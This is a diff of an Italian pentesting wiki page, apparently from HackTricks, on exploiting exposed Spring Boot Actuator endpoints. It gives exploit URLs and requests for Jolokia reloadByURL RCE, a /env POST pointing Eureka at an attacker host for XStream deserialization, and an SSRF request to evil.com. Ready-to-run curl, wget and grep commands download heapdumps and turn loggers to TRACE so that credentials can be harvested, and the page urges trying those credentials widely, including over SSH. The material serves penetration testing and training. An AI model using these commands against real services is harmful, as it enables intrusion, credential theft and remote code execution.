-**Da** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png) +**Da** \[**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png) -## Sfruttare i Spring Boot Actuators +## Sfruttare gli Actuators di Spring Boot **Controlla il post originale da** \[**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**] -### **Punti Chiave:** +### **Punti chiave:** -- I Spring Boot Actuators registrano endpoint come `/health`, `/trace`, `/beans`, `/env`, ecc. Nelle versioni da 1 a 1.4, questi endpoint sono accessibili senza autenticazione. Dalla versione 1.5 in poi, solo `/health` e `/info` sono non sensibili per impostazione predefinita, ma gli sviluppatori spesso disabilitano questa sicurezza. +- Spring Boot Actuators registrano endpoint come `/health`, `/trace`, `/beans`, `/env`, ecc. Nelle versioni da 1 a 1.4 questi endpoint sono accessibili senza autenticazione. Dalla versione 1.5 in poi, di default solo `/health` e `/info` non sono considerati sensibili, ma gli sviluppatori spesso disabilitano questa protezione. - Alcuni endpoint degli Actuator possono esporre dati sensibili o consentire azioni dannose: - `/dump`, `/trace`, `/logfile`, `/shutdown`, `/mappings`, `/env`, `/actuator/env`, `/restart`, e `/heapdump`. -- In Spring Boot 1.x, gli actuators sono registrati sotto l'URL radice, mentre in 2.x, sono sotto il percorso di base `/actuator/`. +- In Spring Boot 1.x, gli actuator sono registrati sotto la root URL, mentre in 2.x si trovano sotto il path base `/actuator/`. -### **Tecniche di Sfruttamento:** +### **Tecniche di sfruttamento:** -1. **Esecuzione di Codice Remoto tramite '/jolokia'**: -- L'endpoint dell'actuator `/jolokia` espone la Jolokia Library, che consente l'accesso HTTP agli MBeans. -- L'azione `reloadByURL` può essere sfruttata per ricaricare le configurazioni di logging da un URL esterno, il che può portare a XXE cieco o Esecuzione di Codice Remoto tramite configurazioni XML create ad hoc. -- URL di esempio per lo sfruttamento: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`. -2. **Modifica della Configurazione tramite '/env'**: +1. **Remote Code Execution via '/jolokia'**: +- L'endpoint `/jolokia` degli actuator espone la Jolokia Library, che permette l'accesso HTTP agli MBeans. +- L'azione `reloadByURL` può essere sfruttata per ricaricare configurazioni di logging da un URL esterno, il che può portare a blind XXE o Remote Code Execution tramite configurazioni XML manipolate. +- Example exploit URL: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`. +2. **Modifica della configurazione via '/env'**: -- Se sono presenti le Spring Cloud Libraries, l'endpoint `/env` consente la modifica delle proprietà ambientali. -- Le proprietà possono essere manipolate per sfruttare vulnerabilità, come la vulnerabilità di deserializzazione XStream nel serviceURL di Eureka. -- Richiesta POST di esempio per lo sfruttamento: +- Se sono presenti le Spring Cloud Libraries, l'endpoint `/env` permette la modifica delle proprietà ambientali. +- Le proprietà possono essere manipolate per sfruttare vulnerabilità, come la vulnerabilità di deserializzazione XStream in Eureka serviceURL. +- Example exploit POST request: ``` POST /env HTTP/1.1 @@ -40,25 +40,101 @@ Content-Length: 65 eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream ``` -3. **Altre Impostazioni Utili**: -- Proprietà come `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url`, e `spring.datasource.tomcat.max-active` possono essere manipolate per vari sfruttamenti, come SQL injection o modifica delle stringhe di connessione al database. +3. **Altre impostazioni utili**: +- Proprietà come `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url`, e `spring.datasource.tomcat.max-active` possono essere manipolate per vari exploit, come SQL injection o alterazione delle stringhe di connessione al database. -### **Informazioni Aggiuntive:** +### **Informazioni aggiuntive:** -- Un elenco completo degli actuators predefiniti può essere trovato [qui](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt). -- L'endpoint `/env` in Spring Boot 2.x utilizza il formato JSON per la modifica delle proprietà, ma il concetto generale rimane lo stesso. +- Una lista esaustiva degli actuator di default può essere trovata [here](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt). +- L'endpoint `/env` in Spring Boot 2.x usa il formato JSON per la modifica delle proprietà, ma il concetto generale rimane lo stesso. -### **Argomenti Correlati:** +### **Argomenti correlati:** 1. **Env + H2 RCE**: -- I dettagli su come sfruttare la combinazione dell'endpoint `/env` e del database H2 possono essere trovati [qui](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database). +- Dettagli su come sfruttare la combinazione dell'endpoint `/env` e del database H2 sono disponibili [here](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database). -2. **SSRF su Spring Boot tramite Interpretazione Errata del Nome del Percorso**: -- La gestione dei parametri di matrice (`;`) nel framework Spring negli URL HTTP può essere sfruttata per Server-Side Request Forgery (SSRF). -- Richiesta di esempio per lo sfruttamento: +2. **SSRF on Spring Boot Through Incorrect Pathname Interpretation**: +- La gestione dei matrix parameters (`;`) nel pathname HTTP da parte del framework Spring può essere sfruttata per Server-Side Request Forgery (SSRF). +- Example exploit request: ```http GET ;@evil.com/url HTTP/1.1 Host: target.com Connection: close ``` +## HeapDump secrets mining (credentials, tokens, internal URLs) + +Se `/actuator/heapdump` è esposto, di solito puoi recuperare uno snapshot completo dell'heap JVM che frequentemente contiene segreti in uso (DB creds, API keys, Basic-Auth, internal service URLs, Spring property maps, ecc.). + +- Download and quick triage: +```bash +wget http://target/actuator/heapdump -O heapdump +# Quick wins: look for HTTP auth and JDBC +strings -a heapdump | grep -nE 'Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client' +# Decode any Basic credentials you find +printf %s 'RXhhbXBsZUJhc2U2NEhlcmU=' | base64 -d +``` + +- Deeper analysis with VisualVM and OQL: +- Apri heapdump in VisualVM, ispeziona le istanze di `java.lang.String` o esegui OQL per cercare segreti: +``` +select s.toString() +from java.lang.String s +where /Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client|OriginTrackedMapPropertySource/i.test(s.toString()) +``` + +- Automated extraction with JDumpSpider: +```bash +java -jar JDumpSpider-*.jar heapdump +``` +Risultati tipici ad alto valore: +- Oggetti Spring `DataSourceProperties` / `HikariDataSource` che espongono `url`, `username`, `password`. +- Voci `OriginTrackedMapPropertySource` che rivelano `management.endpoints.web.exposure.include`, porte dei servizi e Basic-Auth incorporato negli URL (es., Eureka `defaultZone`). +- Frammenti HTTP in chiaro di richiesta/risposta che includono `Authorization: Basic ...` catturati in memoria. + +Tips: +- Usa una wordlist focalizzata su Spring per scoprire rapidamente gli actuator endpoints (es., SecLists spring-boot.txt) e verifica sempre se `/actuator/logfile`, `/actuator/httpexchanges`, `/actuator/env` e `/actuator/configprops` sono anch'essi esposti. +- Le credenziali estratte dal heapdump spesso funzionano per servizi adiacenti e talvolta per utenti di sistema (SSH), quindi provale in modo esteso. + + +## Abusing Actuator loggers/logging to capture credentials + +Se `management.endpoints.web.exposure.include` lo permette e `/actuator/loggers` è esposto, puoi aumentare dinamicamente i livelli di log a DEBUG/TRACE per i package che gestiscono l'autenticazione e il processamento delle request. Combinato con log leggibili (via `/actuator/logfile` o percorsi di log noti), questo può rivelare credenziali inviate durante i flussi di login (es., header Basic-Auth o parametri di form). + +- Enumerate and crank up sensitive loggers: +```bash +# List available loggers +curl -s http://target/actuator/loggers | jq . + +# Enable very verbose logs for security/web stacks (adjust as needed) +curl -s -X POST http://target/actuator/loggers/org.springframework.security \ +-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}' +curl -s -X POST http://target/actuator/loggers/org.springframework.web \ +-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}' +curl -s -X POST http://target/actuator/loggers/org.springframework.cloud.gateway \ +-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}' +``` + +- Find where logs are written and harvest: +```bash +# If exposed, read from Actuator directly +curl -s http://target/actuator/logfile | strings | grep -nE 'Authorization:|username=|password=' + +# Otherwise, query env/config to locate file path +curl -s http://target/actuator/env | jq '.propertySources[].properties | to_entries[] | select(.key|test("^logging\\.(file|path)"))' +``` + +- Genera traffico di login/autenticazione e analizza il log per credenziali. In setup microservice con un gateway a frontare l'autenticazione, abilitare TRACE per i package gateway/security spesso rende visibili header e corpi dei form. Alcuni ambienti generano persino traffico di login sintetico periodicamente, rendendo la raccolta banale una volta che il logging è verboso. + +Note: +- Ripristina i livelli di log quando hai finito: `POST /actuator/loggers/` con `{ "configuredLevel": null }`. +- Se `/actuator/httpexchanges` è esposto, può anche mostrare metadata di request recenti che potrebbero includere header sensibili. + + +## References + +- [Exploring Spring Boot Actuator Misconfigurations (Wiz)](https://www.wiz.io/blog/spring-boot-actuator-misconfigurations) +- [VisualVM](https://visualvm.github.io/) +- [JDumpSpider](https://github.com/whwlsfb/JDumpSpider) +- [0xdf – HTB Eureka (Actuator heapdump to creds, Gateway logging abuse)](https://0xdf.gitlab.io/2025/08/30/htb-eureka.html) + {{#include ../../banners/hacktricks-training.md}}